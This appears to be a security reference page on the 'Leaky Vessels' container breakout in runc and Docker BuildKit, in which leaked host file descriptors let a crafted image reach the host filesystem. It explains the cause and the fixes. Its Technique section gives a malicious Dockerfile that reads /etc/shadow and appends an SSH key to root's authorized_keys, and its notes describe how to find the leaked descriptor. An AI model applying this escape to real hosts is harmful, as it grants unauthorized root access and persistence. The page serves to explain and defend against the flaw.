Leaky Vessels

Leaky Vessels is a set of runtime breakouts where runc and the Docker build tooling leak an open file descriptor to the host filesystem into the container, or resolve a working directory against the host root. A crafted image whose WORKDIR or process.cwd points through /proc/self/fd reaches the host filesystem and executes code as root on the host.

2 min di letturaaggiornato il 7 ott 2026florianamette1 contributore
Chiedi al tuo assistente (MCP)Modifica su GitHub

Leaky Vessels is the name for a cluster of container breakouts rooted in the same mistake: the runtime leaves a file descriptor or a path that refers to the host filesystem accessible to the container process at the moment it starts. In runc, an internal file descriptor to a host directory was not closed before the container process executed, so a container whose working directory was set to /proc/self/fd/<n> landed in a host directory rather than the container's. The container then read and wrote host files, and because the process ran during container setup with host context, it escalated to host root. Related issues affected the Docker build tooling, where a WORKDIR or mount path resolved against the host.

Confirm the runtime version window:

bash
runc --version 2>/dev/null                  # pre-1.1.12 runc is affected
docker version 2>/dev/null | grep -i buildkit

Technique#

dockerfile
# A malicious image sets its working directory to a leaked host-fd path.
# runc leaks an fd to a host directory; /proc/self/fd/<n> resolves to the host.
WORKDIR /proc/self/fd/7
# The entry process now starts with its cwd on the host filesystem:
RUN cd / && cat etc/shadow && \
    echo 'ssh-ed25519 AAAA... a' >> root/.ssh/authorized_keys

At build or run time the container process begins with its current directory inside the host filesystem through the leaked descriptor, so ordinary relative-path file operations touch host files. Writing a cron job, sudoers entry, or SSH key completes the escape; the exact leaked descriptor number is discovered by enumerating /proc/self/fd for one whose target is a host path.

bash
ls -l /proc/self/fd/                          # find a descriptor pointing at a host directory

Exploitation notes#

  • The escape is delivered through a crafted image or build, so it is a risk wherever untrusted Dockerfiles or images are built or run, including CI systems that build user-supplied repositories.
  • The leaked descriptor is the pivot: enumerate /proc/self/fd at process start and identify one resolving outside the container rootfs, then use relative paths from it.
  • Fixes close the offending descriptors with O_CLOEXEC and validate working-directory resolution; patched runc and BuildKit defeat the technique.

References#